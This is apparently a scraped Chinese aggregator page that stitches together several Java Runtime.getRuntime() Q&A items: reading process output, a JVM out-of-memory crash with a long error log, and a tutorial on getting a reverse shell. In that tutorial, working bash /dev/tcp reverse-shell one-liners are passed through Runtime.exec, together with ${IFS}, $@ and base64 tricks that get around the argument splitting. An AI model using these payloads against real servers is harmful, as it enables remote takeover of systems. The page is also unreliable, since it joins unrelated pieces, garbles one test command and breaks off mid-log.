对于JavaRuntime.getRuntime():从执行命令行程序获取输出感兴趣的读者,本文将提供您所需要的所有信息,我们将详细讲解java获取程序执行时间,并且为您提供关于javaRuntime
对于Java Runtime.getRuntime():从执行命令行程序获取输出感兴趣的读者,本文将提供您所需要的所有信息,我们将详细讲解java获取程序执行时间,并且为您提供关于java Runtime.getRuntime().exec 获取反弹shell、Java Runtime.getRuntime().freeMemory()问题、java Runtime.getRunTime()exec和通配符?、Java Runtime.getRunTime()exec(CMD)不支持pipe道的宝贵知识。
本文目录一览:- Java Runtime.getRuntime():从执行命令行程序获取输出(java获取程序执行时间)
- java Runtime.getRuntime().exec 获取反弹shell
- Java Runtime.getRuntime().freeMemory()问题
- java Runtime.getRunTime()exec和通配符?
- Java Runtime.getRunTime()exec(CMD)不支持pipe道
Java Runtime.getRuntime():从执行命令行程序获取输出(java获取程序执行时间)
我正在使用运行时从我的 Java 程序运行命令提示符命令。但是,我不知道如何获得命令返回的输出。
这是我的代码:
Runtime rt = Runtime.getRuntime();String[] commands = {"system.exe", "-send" , argument};Process proc = rt.exec(commands);
我试过做System.out.println(proc);
,但没有返回任何东西。该命令的执行应返回由分号分隔的两个数字。我怎么能把它放在一个变量中打印出来?
这是我现在使用的代码:
String[] commands = {"system.exe", "-get t"};Process proc = rt.exec(commands);InputStream stdIn = proc.getInputStream();InputStreamReader isr = new InputStreamReader(stdIn);BufferedReader br = new BufferedReader(isr);String line = null;System.out.println("<OUTPUT>");while ((line = br.readLine()) != null) System.out.println(line);System.out.println("</OUTPUT>");int exitVal = proc.waitFor();System.out.println("Process exitValue: " + exitVal);
但是我没有得到任何输出,但是当我自己运行该命令时,它可以正常工作。
答案1
小编典典这是要走的路:
Runtime rt = Runtime.getRuntime();String[] commands = {"system.exe", "-get t"};Process proc = rt.exec(commands);BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));// Read the output from the commandSystem.out.println("Here is the standard output of the command:\n");String s = null;while ((s = stdInput.readLine()) != null) { System.out.println(s);}// Read any errors from the attempted commandSystem.out.println("Here is the standard error of the command (if any):\n");while ((s = stdError.readLine()) != null) { System.out.println(s);}
在此处阅读
Javadoc 以获取更多详细信息。ProcessBuilder
将是一个不错的选择。
java Runtime.getRuntime().exec 获取反弹shell
说明
前面写了一篇在Java环境下获取shell的文章。当时使用的语句是:
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/TCP/IP/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();
其中在exec()
中我们是传入了多个参数,可是如果实际的环境是Runtime.getRuntime().exec(String cmd)
只能允许我们传入一个参数,又该如何getshell呢?
exec分析
我们分析一下Runtime
中的exec()
函数:
在java.lang.Runtime()
中存在多个重载的exec()
方法,如下所示:
public Process exec(String command)
public Process exec(String command,String[] envp)
public Process exec(String command,String[] envp,File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray,String[] envp)
public Process exec(String[] cmdarray,File dir)
除了常见的exec(String command)
和exec(String cmdarray[])
,其他exec()
都增加了envp
和File
这些限制。虽然如此,但是最终都是调用相同的方法,本质没有却区别。这些函数存在的意义可以简要地参考调用java.lang.Runtime.exec的正确姿势
分析exec(String cmdarray[])
和exec(String command)
:
// exec(String command) 函数
public Process exec(String command) throws IOException {
return exec(command,null,null);
}
...
public Process exec(String command,File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoretokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray,envp,dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray,null);
}
可以看到exec(String cmdarray[])
和exec(String command)
最终都是调用的exec(cmdarray,null)
。exec(String command)
通过StringTokenizer st = new StringTokenizer(command);
将其分割为Token之后作为字符串数组,调用exec(cmdarray,null)
。
分析StringTokenizer(String str)
:
public StringTokenizer(String str) {
this(str," \t\n\r\f",false);
}
将字一个字符串使用\t\n\r\f
这些字符进行分割。尝试:
String testStr = "a b\tc\nd\re\fg";
StringTokenizer st = new StringTokenizer(testStr);
for (int i = 0; st.hasMoretokens(); i++)
System.out.println(st.nextToken());
输出结果:
a
b
c
d
e
g
bypass exec
如果直接尝试执行
Runtime.getRuntime().exec("bash -i >& /dev/TCP/IP/port 0>&1");
那么最终执行到exec(cmdarray,dir);
时,cmdarray
的参数结果是:
1 | 2 | 3 | 4 | 5
–|—|—|—|–
bash | -i | >& | /dev/TCP/IP/port | 0>&1
而我们执行r.exec(new String[]{"/bin/bash","bash -i >& /dev/TCP/IP/port 0>&1"});
,执行到exec(cmdarray,dir);
时,cmdarray
的参数结果是:
1 | 2 | 3
–|—|–
/bin/bash | -c | bash -i >& /dev/TCP/IP/port 0>&1
其最终的结果就是Runtime.getRuntime().exec("bash -i >& /dev/TCP/IP/port 0>&1");
没有任何的反应,但是r.exec(new String[]{"/bin/bash","bash -i >& /dev/TCP/IP/port 0>&1"});
可以成功地反弹shell。
那么现在的问题就转换成为能否找到一个替换字符,使其通过StringTokenizer(String str)
不进行分割,但是又被/bin/bash
能够正确地识别为空格的字符。
IFS
在Linux环境中,${IFS}
是一个内置的变量,用于标示命令中参数的分隔符。通常他的取值是空格+TAB+换行(0x20 0x09 0x0a)。尝试:
$ echo "abc" | hexdump -C
00000000 61 62 63 0a |abc.|
00000004
$ echo "a${IFS}b${IFS}c"|hexdump -C
00000000 61 20 09 0a 62 20 09 0a 63 0a |a ..b ..c.|
0000000a
结果就显示出了${IFS}
其实就是0x20 0x09 0x0a
。尝试利用${IFS}
,于是我们的代码变成了:
Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/TCP/IP/port${IFS}0>&1");
发现执行完毕之后出现了/bin/bash: ${IFS}/dev/tcp/118.24.152.245/8888${IFS}0: ambiguous redirect
错误。发现当执行到时java.lang.Runtime:Process exec(String command,File dir)
,信息如下:
那么就说明利用${IFS}
执行/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/TCP/IP/port${IFS}0>&1
确实能够绕过Java的分隔符。我们直接在bash中尝试:
spoock@ubuntu:~/Desktop$/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
bash: ${IFS}/dev/tcp/127.0.0.1/8888${IFS}0: ambiguous redirect
同样会出现ambiguous redirect
的错误,如果尝试将/dev/tcp/127.0.0.1/8888${IFS}0>&1
替换为/dev/tcp/127.0.0.1/8888$ 0>&1
,即/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1
就能够成功地进行反弹shell了。使用zsh
进行尝试/bin/zsh -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
,同样会出现ambiguous redirect
那么就是说明可能上述的写法不符合shell
的语法。
最终进行测试,在/bin/bash -c bash>x${IFS}0
就会出现ambiguous redirect
问题,猜测可能是x${IFS}0
才会出现这样的问题,至于为什么会出现的这样的问题,希望有大牛能够帮忙解答一下。
所以如果使用/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
就一定不行了吗?我们目前已经知道/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1
是可以反弹shell的,那么问题的关键就是在这种/bin/zsh -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
情况下的${IFS}
绕过。我们查看bash
中有什么语法可供我们使用。
bash manpage
Duplicating File Descriptors
The redirection operator
[n]<&word
is used to duplicate input file descriptors. If word expands to one or more digits,the file descriptor denoted by n is made to be a copy of that file descriptor. If the digits in word do
not specify a file descriptor open for input,a redirection error occurs. If word evaluates to -,file descriptor n is closed. If n is not specified,the standard input (file descriptor 0)
is used.
The operator
[n]>&word
is used similarly to duplicate output file descriptors. If n is not specified,the standard output (file descriptor 1) is used. If the digits in word do not specify a file descriptor open
for output,a redirection error occurs. If word evaluates to -,file descriptor n is closed. As a special case,if n is omitted,and word does not expand to one or more digits or -,the
standard output and standard error are redirected as described prevIoUsly.
对于[n]<&word
,发现有If n is not specified,the standard input (file descriptor 0) is used
,貌似就可以解决我们的问题。那么我们可以改写为:
/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1
可以完美实现反弹shell,查看其fd信息如下:
spoock@ubuntu:~/Desktop$ ls -all /proc/10434/fd
total 0
dr-x------ 2 spoock spoock 0 Nov 25 06:44 .
dr-xr-xr-x 9 spoock spoock 0 Nov 25 06:44 ..
lrwx------ 1 spoock spoock 64 Nov 25 06:44 0 -> socket:[77646]
lrwx------ 1 spoock spoock 64 Nov 25 06:44 1 -> socket:[77646]
lrwx------ 1 spoock spoock 64 Nov 25 06:44 2 -> socket:[77646]
文件描述符0,1,2都指向了socket。既然这种可以,我们尝试利用Java进行反弹shell,
Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1");
也能够执行反弹shell。
$@
发现在linux
中还存在$@
和$*
,他们的含义都是list of all arguments passed to the script
。进行一个简单的实验:ifsargs.sh
#!/bin/bash
# ifsargs.sh - Cmd args - positional parameter demo
echo "Command-Line Arguments Demo"
echo "*** All args displayed using \$@ positional parameter ***"
echo $@
echo "*** All args displayed using \$* positional parameter ***"
echo $*
运行得到的结果是:
spoock@ubuntu:~/Desktop$ ./ifsargs.sh foo bar test
Command-Line Arguments Demo
*** All args displayed using $@ positional parameter ***
foo bar test
*** All args displayed using $* positional parameter ***
foo bar test
那么我们就可以利用来反弹shell了。看bash
语法:
bash [options] [command_string | file]
-c If the -c option is present,then commands are read from the first non-option argument command_string.If there are arguments after the command_string,they are assigned to the positional parameters,starting with $0.
结合bash
和$@
,我们可以变为:
/bin/sh -c '$@|sh' xxx echo ls
可以成功地执行ls
。分析下这个命令,当bash
解析到'$@|sh' xxx echo ls
,发现$@
。$@
需要取脚本的参数,那么就会解析xxx echo ls
,由于$@
只会取脚本参数,会将第一个参数认为是脚本名称(认为xxx
是脚本名称),就会取到echo ls
。那么最终执行的就是echo ls|sh
,就可以成功地执行ls
命令了。
利用上面这个trick
,那么我们就可以执行任意命令了,包括反弹shell。如/bin/bash -c '$@|bash' 0 echo 'bash -i >&/dev/TCP/IP/port 0>&1'
最终可以成功地反弹shell。我们利用Java进行测试:
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");
最终在JAVA
中的数组的结果如下:
最终相当于执行了echo 'bash -i >&/dev/tcp/127.0.0.1/8888 0>&1'|bash
命令,成功反弹shell。同样地,/bin/bash -c $*|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1
也是可以的。
base64 decode
java.lang.Runtime.exec() Payload Workarounds对payload进行base64
编码从而绕过exec()
。bash -i >&/dev/tcp/127.0.0.1/8888 0>&1
经过转换变为bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
。测试:
Runtime.getRuntime().exec("bash -c {echo,-i}");
成功执行反弹shell。
Java Runtime.getRuntime().freeMemory()问题
我试图使用Runtime.getRuntime().freeMemory(),Runtime.getRuntime().maxMemory()和Runtime.getRuntime().totalMemory()来监视我的内存使用情况.
在一次运行中,它表示在声明一个数组之前有2245273792个空闲字节,但程序在内存耗尽并在尝试声明一个1104674816字节的数组时崩溃:
Free memory (bytes): 2245273792 Maximum memory (bytes): 6710886400 Total memory available to JVM (bytes): 5606211584 OpenJDK 64-Bit Server VM warning: INFO: os::commit_memory(0x0000000728280000,1104674816,0) Failed; error='Cannot allocate memory' (errno=12) There is insufficient memory for the Java Runtime Environment to continue. Native memory allocation (malloc) Failed to allocate 1104674816 bytes for committing reserved memory. An error report file with more information is saved as:
编辑:当分配不到一半的免费金额时,它怎么可能耗尽内存?耗尽内存对于这个程序来说非常糟糕;有没有办法可以保证我的分配不多于可用的?调用System.gc()会首先使可用/可用内存量更可靠吗?如果程序即将耗尽内存而不是让它崩溃,我可以抛出某种异常吗?
它崩溃的命令是:float [] [] A = new float [NUM_SEQ_TOTAL_P1] [NUM_SEQ_TOTAL_P2]; NUM_SEQ_TOTAL_P1 = 16009,NUM_SEQ_TOTAL_P2 = 16937.
编辑:根据评论者的要求粘贴错误日志的部分.
There is insufficient memory for the Java Runtime Environment to continue. Native memory allocation (malloc) Failed to allocate 1104674816 bytes for committing reserved memory. Possible reasons: The system is out of physical RAM or swap space In 32 bit mode,the process size limit was hit Possible solutions: Reduce memory load on the system Increase physical memory or swap space Check if swap backing store is full Use 64 bit Java on a 64 bit OS Decrease Java heap size (-Xmx/-xms) Decrease number of Java threads Decrease Java thread stack sizes (-Xss) Set larger code cache with -XX:ReservedCodeCacheSize= This output file may be truncated or incomplete. Out of Memory Error (os_linux.cpp:2769),pid=14802,tid=140058464728832 JRE version: OpenJDK Runtime Environment (7.0_55-b14) (build 1.7.0_55-b14) Java VM: OpenJDK 64-Bit Server VM (24.51-b03 mixed mode linux-amd64 compressed oops) Failed to write core dump. Core dumps have been disabled. To enable core dumping,try "ulimit -c unlimited" before starting Java again --------------- T H R E A D --------------- Current thread (0x00007f61f0071000): VMThread [stack: 0x00007f61e6f9b000,0x00007f61e709c000] [id=14806] Stack: [0x00007f61e6f9b000,0x00007f61e709c000],sp=0x00007f61e709a470,free space=1021k Native frames: (J=compiled Java code,j=interpreted,Vv=VM code,C=native code) V [libjvm.so+0x917b35] VMError::report_and_die()+0x175 V [libjvm.so+0x468144] report_vm_out_of_memory(char const*,int,unsigned long,char const*)+0x74 V [libjvm.so+0x79a81b] os::pd_commit_memory(char*,bool)+0x20b V [libjvm.so+0x7950df] os::commit_memory(char*,bool)+0x1f V [libjvm.so+0x8053cb] PSVirtualSpace::expand_by(unsigned long)+0x5b V [libjvm.so+0x7f519b] PSOldGen::expand_by(unsigned long) [clone .part.80]+0x1b V [libjvm.so+0x7f535b] PSOldGen::expand(unsigned long) [clone .part.81]+0xdb V [libjvm.so+0x7f6288] PSOldGen::resize(unsigned long)+0x188 V [libjvm.so+0x7fd2e3] PSParallelCompact::invoke_no_policy(bool)+0x9c3 V [libjvm.so+0x80350d] PSScavenge::invoke()+0x17d V [libjvm.so+0x7b9b33] ParallelScavengeHeap::Failed_mem_allocate(unsigned long)+0x63 V [libjvm.so+0x919544] VM_ParallelGCFailedAllocation::doit()+0x84 V [libjvm.so+0x91d9e7] VM_Operation::evaluate()+0x47 V [libjvm.so+0x91c3b8] VMThread::evaluate_operation(VM_Operation*)+0x318 V [libjvm.so+0x91c85a] VMThread::loop()+0x25a V [libjvm.so+0x91cc62] VMThread::run()+0x72 V [libjvm.so+0x7974e2] java_start(Thread*)+0xf2 VM_Operation (0x00007f61f8b6b2e0): ParallelGCFailedAllocation,mode: safepoint,requested by thread 0x00007f61f000a000 --------------- P R O C E S S --------------- Java Threads: ( => current thread ) 0x00007f61f00a1800 JavaThread "Service Thread" daemon [_thread_blocked,id=14812,stack(0x00007f61e680c000,0x00007f61e690d000)] 0x00007f61f009f000 JavaThread "C2 CompilerThread1" daemon [_thread_blocked,id=14811,stack(0x00007f61e690d000,0x00007f61e6a0e000)] 0x00007f61f009c000 JavaThread "C2 CompilerThread0" daemon [_thread_blocked,id=14810,stack(0x00007f61e6a0e000,0x00007f61e6b0f000)] 0x00007f61f009a000 JavaThread "Signal dispatcher" daemon [_thread_blocked,id=14809,stack(0x00007f61e6b0f000,0x00007f61e6c10000)] 0x00007f61f0077800 JavaThread "Finalizer" daemon [_thread_blocked,id=14808,stack(0x00007f61e6d99000,0x00007f61e6e9a000)] 0x00007f61f0075800 JavaThread "Reference Handler" daemon [_thread_blocked,id=14807,stack(0x00007f61e6e9a000,0x00007f61e6f9b000)] 0x00007f61f000a000 JavaThread "main" [_thread_blocked,id=14803,stack(0x00007f61f8a6c000,0x00007f61f8b6d000)] Other Threads: =>0x00007f61f0071000 VMThread [stack: 0x00007f61e6f9b000,0x00007f61e709c000] [id=14806] 0x00007f61f00ac000 WatcherThread [stack: 0x00007f61e670b000,0x00007f61e680c000] [id=14813] VM state:at safepoint (normal execution) VM Mutex/Monitor currently owned by a thread: ([mutex/lock_event]) [0x00007f61f0005ea0] ExpandHeap_lock - owner thread: 0x00007f61f0071000 [0x00007f61f0006520] Threads_lock - owner thread: 0x00007f61f0071000 [0x00007f61f0006a20] Heap_lock - owner thread: 0x00007f61f000a000 Heap PSYoungGen total 1638400K,used 205885K [0x000000076a000000,0x0000000800000000,0x0000000800000000) eden space 819200K,0% used [0x000000076a000000,0x000000076a000000,0x000000079c000000) from space 819200K,25% used [0x00000007ce000000,0x00000007da90f408,0x0000000800000000) to space 819200K,0% used [0x000000079c000000,0x000000079c000000,0x00000007ce000000) ParOldGen total 3836416K,used 3836085K [0x000000063e000000,0x0000000728280000,0x000000076a000000) object space 3836416K,99% used [0x000000063e000000,0x000000072822d6b8,0x0000000728280000) PSPermGen total 21504K,used 5549K [0x0000000633a00000,0x0000000634f00000,0x000000063e000000) object space 21504K,25% used [0x0000000633a00000,0x0000000633f6b518,0x0000000634f00000) Card table byte_map: [0x00007f61f487d000,0x00007f61f56e1000] byte_map_base: 0x00007f61f16e0000 Polling page: 0x00007f61f8b7d000 Code Cache [0x00007f61ed000000,0x00007f61ed270000,0x00007f61f0000000) total_blobs=653 nmethods=373 adapters=234 free_code_cache=46884Kb largest_free_block=47925312 Compilation events (10 events): Event: 697.652 Thread 0x00007f61f009c000 394 playingAgent.tartanian7.PlayerAction::access$0 (5 bytes) Event: 697.652 Thread 0x00007f61f009c000 nmethod 394 0x00007f61ed1f0150 code [0x00007f61ed1f0280,0x00007f61ed1f02d8] Event: 729.745 Thread 0x00007f61f009f000 395 java.nio.Buffer::remaining (10 bytes) Event: 729.745 Thread 0x00007f61f009f000 nmethod 395 0x00007f61ed1eff50 code [0x00007f61ed1f0080,0x00007f61ed1f00d8] Event: 921.702 Thread 0x00007f61f009c000 396 playingAgent.riverSolver.DoylesGameRiver2::getRiverStrategy (451 bytes) Event: 921.710 Thread 0x00007f61f009f000 397 playingAgent.tartanian7.PokerUtils::countRoundDelimiters (42 bytes) Event: 921.714 Thread 0x00007f61f009f000 nmethod 397 0x00007f61ed1f8350 code [0x00007f61ed1f84a0,0x00007f61ed1f86b8] Event: 921.720 Thread 0x00007f61f009f000 398 java.lang.String::startsWith (7 bytes) Event: 921.724 Thread 0x00007f61f009f000 nmethod 398 0x00007f61ed108010 code [0x00007f61ed108160,0x00007f61ed108338] Event: 922.063 Thread 0x00007f61f009c000 nmethod 396 0x00007f61ed23db90 code [0x00007f61ed23e6e0,0x00007f61ed244d78] GC Heap History (10 events): Event: 922.966 GC heap after Heap after GC invocations=137 (full 23): PSYoungGen total 1638400K,used 280234K [0x000000076a000000,34% used [0x00000007ce000000,0x00000007df1aa930,used 2558981K [0x000000063e000000,66% used [0x000000063e000000,0x00000006da301608,used 5548K [0x0000000633a00000,0x0000000633f6b068,0x0000000634f00000) } Event: 941.023 GC heap before {Heap before GC invocations=138 (full 23): PSYoungGen total 1638400K,used 1099434K [0x000000076a000000,100% used [0x000000076a000000,0x0000000633f6b258,0x0000000634f00000) Event: 941.125 GC heap after Heap after GC invocations=138 (full 23): PSYoungGen total 1638400K,used 463312K [0x000000076a000000,56% used [0x000000079c000000,0x00000007b8474158,0x00000007ce000000) to space 819200K,0% used [0x00000007ce000000,0x00000007ce000000,0x0000000800000000) ParOldGen total 3836416K,used 2559185K [0x000000063e000000,0x00000006da334680,0x0000000634f00000) } Event: 971.960 GC heap before {Heap before GC invocations=139 (full 23): PSYoungGen total 1638400K,used 1282512K [0x000000076a000000,0x0000000634f00000) Event: 971.996 GC heap after Heap after GC invocations=139 (full 23): PSYoungGen total 1638400K,used 130974K [0x000000076a000000,15% used [0x00000007ce000000,0x00000007d5fe7b78,used 2559301K [0x000000063e000000,0x00000006da351710,0x0000000634f00000) } Event: 972.098 GC heap before {Heap before GC invocations=140 (full 23): PSYoungGen total 1638400K,used 950174K [0x000000076a000000,0x0000000634f00000) Event: 972.296 GC heap after Heap after GC invocations=140 (full 23): PSYoungGen total 1638400K,used 817538K [0x000000076a000000,99% used [0x000000079c000000,0x00000007cde60b18,used 2689286K [0x000000063e000000,70% used [0x000000063e000000,0x00000006e2241b50,0x0000000634f00000) } Event: 972.397 GC heap before {Heap before GC invocations=141 (full 23): PSYoungGen total 1638400K,used 1636738K [0x000000076a000000,0x0000000634f00000) Event: 972.791 GC heap after Heap after GC invocations=141 (full 23): PSYoungGen total 1638400K,used 817782K [0x000000076a000000,99% used [0x00000007ce000000,0x00000007ffe9d998,used 3506825K [0x000000063e000000,91% used [0x000000063e000000,0x00000007140a2668,0x0000000634f00000) } Event: 972.791 GC heap before {Heap before GC invocations=142 (full 24): PSYoungGen total 1638400K,0x0000000634f00000) Deoptimization events (10 events): Event: 388.757 Thread 0x00007f61f000a000 Uncommon trap: reason=array_check action=maybe_recompile pc=0x00007f61ed200cd4 method=java.util.ComparableTimsort.mergeHi(IIII)V @ 234 Event: 425.767 Thread 0x00007f61f000a000 Uncommon trap: reason=array_check action=maybe_recompile pc=0x00007f61ed226240 method=java.util.ComparableTimsort.mergeHi(IIII)V @ 642 Event: 425.768 Thread 0x00007f61f000a000 Uncommon trap: reason=array_check action=maybe_recompile pc=0x00007f61ed226240 method=java.util.ComparableTimsort.mergeHi(IIII)V @ 642 Event: 451.013 Thread 0x00007f61f000a000 Uncommon trap: reason=array_check action=maybe_recompile pc=0x00007f61ed229d20 method=java.util.ComparableTimsort.mergeHi(IIII)V @ 404 Event: 451.013 Thread 0x00007f61f000a000 Uncommon trap: reason=array_check action=maybe_recompile pc=0x00007f61ed229d20 method=java.util.ComparableTimsort.mergeHi(IIII)V @ 404 Event: 518.661 Thread 0x00007f61f000a000 Uncommon trap: reason=array_check action=maybe_recompile pc=0x00007f61ed22c5c8 method=java.util.ComparableTimsort.mergeHi(IIII)V @ 509 Event: 518.661 Thread 0x00007f61f000a000 Uncommon trap: reason=array_check action=maybe_recompile pc=0x00007f61ed22c5c8 method=java.util.ComparableTimsort.mergeHi(IIII)V @ 509 Event: 576.223 Thread 0x00007f61f000a000 Uncommon trap: reason=array_check action=maybe_recompile pc=0x00007f61ed22399c method=java.util.ComparableTimsort.mergeLo(IIII)V @ 129 Event: 626.762 Thread 0x00007f61f000a000 Uncommon trap: reason=array_check action=maybe_recompile pc=0x00007f61ed22399c method=java.util.ComparableTimsort.mergeLo(IIII)V @ 129 Event: 805.388 Thread 0x00007f61f000a000 Uncommon trap: reason=array_check action=maybe_recompile pc=0x00007f61ed232884 method=java.util.ComparableTimsort.mergeHi(IIII)V @ 160 Internal exceptions (10 events): Event: 95.779 Thread 0x00007f61f000a000 Threw 0x000000076e72f270 at /build/buildd/openjdk-7-7u55-2.4.7/build/openjdk/hotspot/src/share/vm/prims/jvm.cpp:1244 Event: 95.780 Thread 0x00007f61f000a000 Threw 0x000000076e732680 at /build/buildd/openjdk-7-7u55-2.4.7/build/openjdk/hotspot/src/share/vm/prims/jvm.cpp:1244 Event: 95.866 Thread 0x00007f61f000a000 Threw 0x000000076ea384b0 at /build/buildd/openjdk-7-7u55-2.4.7/build/openjdk/hotspot/src/share/vm/prims/jvm.cpp:1244 Event: 118.330 Thread 0x00007f61f000a000 Threw 0x0000000770f9b6f0 at /build/buildd/openjdk-7-7u55-2.4.7/build/openjdk/hotspot/src/share/vm/prims/jvm.cpp:1244 Event: 118.332 Thread 0x00007f61f000a000 Threw 0x0000000770fba0d8 at /build/buildd/openjdk-7-7u55-2.4.7/build/openjdk/hotspot/src/share/vm/prims/jvm.cpp:1244 Event: 118.528 Thread 0x00007f61f000a000 Threw 0x00000007713a1fc0 at /build/buildd/openjdk-7-7u55-2.4.7/build/openjdk/hotspot/src/share/vm/prims/jvm.cpp:1244 Event: 118.529 Thread 0x00007f61f000a000 Threw 0x00000007713a9628 at /build/buildd/openjdk-7-7u55-2.4.7/build/openjdk/hotspot/src/share/vm/prims/jvm.cpp:1244 Event: 118.533 Thread 0x00007f61f000a000 Threw 0x00000007713bea90 at /build/buildd/openjdk-7-7u55-2.4.7/build/openjdk/hotspot/src/share/vm/prims/jvm.cpp:1244 Event: 118.545 Thread 0x00007f61f000a000 Threw 0x00000007713e8238 at /build/buildd/openjdk-7-7u55-2.4.7/build/openjdk/hotspot/src/share/vm/prims/jvm.cpp:1244 Event: 118.546 Thread 0x00007f61f000a000 Threw 0x00000007713eb0f8 at /build/buildd/openjdk-7-7u55-2.4.7/build/openjdk/hotspot/src/share/vm/prims/jvm.cpp:1244 Events (10 events): Event: 972.069 Executing VM operation: RevokeBias done Event: 972.069 Executing VM operation: RevokeBias Event: 972.069 Executing VM operation: RevokeBias done Event: 972.069 Executing VM operation: RevokeBias Event: 972.069 Executing VM operation: RevokeBias done Event: 972.069 Executing VM operation: RevokeBias Event: 972.069 Executing VM operation: RevokeBias done Event: 972.069 Executing VM operation: RevokeBias Event: 972.296 Executing VM operation: RevokeBias done Event: 972.296 Executing VM operation: RevokeBias Dynamic libraries:[omitted] VM Arguments: jvm_args: -Xmx7200m java_command: [omitted] Launcher Type: SUN_STANDARD Environment Variables: [omitted] Signal Handlers: SIGSEGV: [libjvm.so+0x918620],sa_mask[0]=0x7ffbfeff,sa_flags=0x10000004 SIGBUS: [libjvm.so+0x918620],sa_flags=0x10000004 SIGFPE: [libjvm.so+0x795e30],sa_flags=0x10000004 SIGPIPE: [libjvm.so+0x795e30],sa_flags=0x10000004 SIGXFSZ: [libjvm.so+0x795e30],sa_flags=0x10000004 SIGILL: [libjvm.so+0x795e30],sa_flags=0x10000004 SIGUSR1: SIG_DFL,sa_mask[0]=0x00000000,sa_flags=0x00000000 SIGUSR2: [libjvm.so+0x795cd0],sa_flags=0x10000004 SIGHUP: [libjvm.so+0x795eb0],sa_flags=0x10000004 SIGINT: [libjvm.so+0x795eb0],sa_flags=0x10000004 SIGTERM: [libjvm.so+0x795eb0],sa_flags=0x10000004 SIGQUIT: [libjvm.so+0x795eb0],sa_flags=0x10000004 --------------- S Y S T E M --------------- OS:Ubuntu 14.04 (trusty) uname:Linux 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 libc:glibc 2.19 NPTL 2.19 rlimit: STACK 8192k,CORE 0k,NPROC 59937,NOFILE 4096,AS infinity load average:1.80 1.67 1.50 /proc/meminfo: MemTotal: 7693824 kB MemFree: 634168 kB Buffers: 12600 kB Cached: 290332 kB SwapCached: 0 kB Active: 6799656 kB Inactive: 151160 kB Active(anon): 6647936 kB Inactive(anon): 200 kB Active(file): 151720 kB Inactive(file): 150960 kB Unevictable: 0 kB mlocked: 0 kB SwapTotal: 0 kB SwapFree: 0 kB Dirty: 36 kB Writeback: 0 kB AnonPages: 6647924 kB Mapped: 18848 kB Shmem: 236 kB Slab: 41348 kB SReclaimable: 32536 kB SUnreclaim: 8812 kB KernelStack: 848 kB PageTables: 17104 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 3846912 kB Committed_AS: 6744548 kB VmallocTotal: 34359738367 kB VmallocUsed: 14888 kB VmallocChunk: 34359719127 kB HardwareCorrupted: 0 kB AnonHugePages: 0 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB DirectMap4k: 7872512 kB DirectMap2M: 0 kB cpu:total 2 (16 cores per cpu,2 threads per core) family 6 model 62 stepping 4,cmov,cx8,fxsr,mmx,sse,sse2,sse3,ssse3,sse4.1,sse4.2,popcnt,aes,erms,ht,tsc /proc/cpuinfo: processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 62 model name : Intel(R) Xeon(R) cpu E5-2670 v2 @ 2.50GHz stepping : 4 microcode : 0x415 cpu MHz : 2500.058 cache size : 25600 KB physical id : 1 siblings : 2 core id : 0 cpu cores : 1 apicid : 32 initial apicid : 32 fpu : yes fpu_exception : yes cpuid level : 13 wp : yes flags : fpu de tsc msr pae cx8 apic sep cmov pat clflush mmx fxsr sse sse2 ss ht syscall nx lm constant_tsc rep_good nopl pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt tsc_deadline_timer aes rdrand hypervisor lahf_lm ida arat epb pln pts dtherm fsgsbase erms bogomips : 5000.11 clflush size : 64 cache_alignment : 64 address sizes : 46 bits physical,48 bits virtual power management: processor : 1 vendor_id : GenuineIntel cpu family : 6 model : 62 model name : Intel(R) Xeon(R) cpu E5-2670 v2 @ 2.50GHz stepping : 4 microcode : 0x415 cpu MHz : 2500.058 cache size : 25600 KB physical id : 1 siblings : 2 core id : 0 cpu cores : 1 apicid : 32 initial apicid : 32 fpu : yes fpu_exception : yes cpuid level : 13 wp : yes flags : fpu de tsc msr pae cx8 apic sep cmov pat clflush mmx fxsr sse sse2 ss ht syscall nx lm constant_tsc rep_good nopl pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt tsc_deadline_timer aes rdrand hypervisor lahf_lm ida arat epb pln pts dtherm fsgsbase erms bogomips : 5000.11 clflush size : 64 cache_alignment : 64 address sizes : 46 bits physical,48 bits virtual power management: Memory: 4k page,physical 7693824k(634168k free),swap 0k(0k free) vm_info: OpenJDK 64-Bit Server VM (24.51-b03) for linux-amd64 JRE (1.7.0_55-b14),built on Apr 